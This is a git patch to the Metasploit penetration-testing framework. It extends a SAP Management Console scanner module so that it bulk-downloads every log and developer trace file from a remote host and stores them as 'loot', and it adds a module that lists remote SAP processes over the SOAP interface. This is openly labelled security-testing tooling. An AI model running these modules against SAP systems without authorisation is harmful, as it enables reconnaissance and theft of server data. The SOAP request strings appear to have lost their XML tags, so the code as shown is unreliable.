From 397d708340a1148fa925fee5dd0198bf03d3af96 Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Mon, 23 Jul 2012 16:26:33 +0100 Subject: [PATCH] Added bulk file retrieval to sap_mgmt_con_getlogfiles, and new module to get SAP process list from remote host * Added option to retrieve all available files from remote SAP host to sap_mgmt_con_getlogfiles, based on the listing request provided in sap_mgmt_con_listlogfiles module, if the variable GETALL is set to true. Kept previous functionality of retrieving just one chosen file. * Added new module sap_mgmt_con_getprocesslist to remotely list SAP processes using SAP SOAP interface. Based on the other sap_mgmt_con_* modules by Chris John Riley. --- .../scanner/sap/sap_mgmt_con_getlogfiles.rb | 120 ++++++++++++-- .../sap/sap_mgmt_con_getprocesslist.rb | 153 ++++++++++++++++++ 2 files changed, 261 insertions(+), 12 deletions(-) create mode 100644 modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 80f968f9e7..70b27ce635 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -24,24 +24,29 @@ class Metasploit4 < Msf::Auxiliary 'Description' => %q{ This module simply attempts to download available logfiles and developer tracefiles through the SAP Management Console SOAP - Interface. Please use the sap_manamgenet_console_listlogfiles - extension to view a list of availble files. + Interface. Please use the sap_mgmt_con_listlogfiles + extension to view a list of available files. }, 'References' => [ # General [ 'URL', 'http://blog.c22.cc' ] ], - 'Author' => [ 'Chris John Riley' ], + 'Author' => + [ 'Chris John Riley', # original msf module + 'Bruno Morisson ' # bulk file retrieval + ], 'License' => MSF_LICENSE ) + register_options( [ Opt::RPORT(50013), OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), - OptString.new('RFILE', [ true, 'The name of the file to download', 'sapstart.log']), + OptString.new('RFILE', [ true, 'The name of the file to download ', 'sapstart.log']), OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']), + OptString.new('GETALL', [ false, 'Download all available files (WARNING: may take long!)', 'false']), ], self.class) register_autofilter_ports([ 50013 ]) deregister_options('RHOST') @@ -65,12 +70,103 @@ class Metasploit4 < Msf::Auxiliary print_error("#{rhost}:#{rport} [SAP] Unable to connect") return end + if "#{datastore['GETALL']}" == 'true' + listfiles(ip) + else + gettfiles(rhost,"#{datastore['RFILE']}",'') + end - gettfiles(ip) end - def gettfiles(rhost) - print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface") + def listfiles(rhost) + print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}") + success = false + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + + case "#{datastore['FILETYPE']}" + when /^LOG/i + ns1 = 'ns1:ListLogFiles' + when /^TRACE/i + ns1 = 'ns1:ListDeveloperTraces' + end + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 30) + + env = [] + if res and res.code == 200 + case res.body + when nil + # Nothing + when /(.*)<\/file>/i + body = [] + body = res.body + env = body.scan(/(.*?)<\/filename>(.*?)<\/size>(.*?)<\/modtime>/i) + success = true + end + elsif res and res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = $1.strip + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication") + return + end + + if success + print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}: #{env.length} files available") + + env.each do |output| + gettfiles(rhost,output[0],output[1]) + end + + return + + elsif fault + print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") + return + + else + print_error("#{rhost}:#{rport} [SAP] failed to list files") + return + end + end + + def gettfiles(rhost,logfile,filelen) + if filelen + print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (#{filelen} bytes)") + else + print_status("#{rhost}:#{rport} [SAP] Attempting to retrieve file #{logfile} (size unknown)") + end success = false soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' @@ -93,7 +189,7 @@ class Metasploit4 < Msf::Auxiliary data << '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n" - data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "#{datastore['RFILE']}" + '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + logfile + '' + "\r\n" data << '' + "\r\n" data << '' + "\r\n\r\n" @@ -145,21 +241,21 @@ class Metasploit4 < Msf::Auxiliary end if success - print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{datastore['RFILE'].downcase} looted") + print_good("#{rhost}:#{rport} [SAP] #{datastore['FILETYPE'].downcase}:#{logfile.downcase} looted") addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB store_loot( - "sap.#{datastore['FILETYPE'].downcase}file", + "sap.#{datastore['FILETYPE'].downcase}.file", "text/xml", addr, res.body, - "sap_#{datastore['RFILE'].downcase}.xml", + "sap_#{logfile.downcase}.xml", "SAP Get Logfile" ) elsif fault print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") return else - print_error("#{rhost}:#{rport} [SAP] failed to request environment") + print_error("#{rhost}:#{rport} [SAP] failed to download file") return end end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb new file mode 100644 index 0000000000..c76ef95c76 --- /dev/null +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -0,0 +1,153 @@ +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'SAP Management Console GetProcessList', + 'Version' => '$Revision 1$', + 'Description' => %q{ + This module attempts to list SAP processes through the SAP Management Console SOAP Interface + }, + 'References' => + [ + # General + [ 'URL', 'http://blog.c22.cc' ] + ], + 'Author' => + [ + 'Chris John Riley', # most of the code this module is based on + 'Bruno Morisson ' # request ProcessList and parsing output + + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(50013), + OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']), + ], self.class) + register_autofilter_ports([ 50013 ]) + deregister_options('RHOST') + end + + def rport + datastore['RPORT'] + end + + def run_host(ip) + res = send_request_cgi({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => datastore['UserAgent'] + } + }, 25) + + if not res + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + + getprocesslist(ip) + end + + def getprocesslist(rhost) + print_status("#{rhost}:#{rport} [SAP] Connecting to SAP Management Console SOAP Interface ") + success = false + + soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' + xsi = 'http://www.w3.org/2001/XMLSchema-instance' + xs = 'http://www.w3.org/2001/XMLSchema' + sapsess = 'http://www.sap.com/webas/630/soap/features/session/' + ns1 = 'ns1:GetProcessList' + + data = '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << 'true' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n" + data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl">' + "\r\n" + data << '' + "\r\n" + data << '' + "\r\n\r\n" + + begin + res = send_request_raw({ + 'uri' => "/#{datastore['URI']}", + 'method' => 'POST', + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '""', + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }, 15) + + env = [] + + if res and res.code == 200 + + case res.body + when nil + # Nothing + when /(.*?)<\/process>/i + body = [] + body = res.body + env = body.scan(/(.*?)<\/name>(.*?)<\/description>(.*?)<\/dispstatus>(.*?)<\/textstatus>(.*?)<\/starttime>(.*?)<\/elapsedtime>/i) + success = true + end + elsif res and res.code == 500 + case res.body + when /(.*)<\/faultstring>/i + faultcode = $1.strip + fault = true + end + end + + rescue ::Rex::ConnectionError + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + + if success + print_good("#{rhost}:#{rport} [SAP] #{env.length} processes listed") + + saptbl = Msf::Ui::Console::Table.new( + Msf::Ui::Console::Table::Style::Default, + 'Header' => "[SAP] Process List", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => + [ + "Name", + "Description", + "Status", + "StartTime", + "ElapsedTime" + ]) + env.each do |output| + saptbl << [ output[0], output[1], output[3], output[4], output[5] ] + end + + print(saptbl.to_s) + return + elsif fault + print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") + return + else + print_error("#{rhost}:#{rport} [SAP] failed to request process list") + return + end + end +end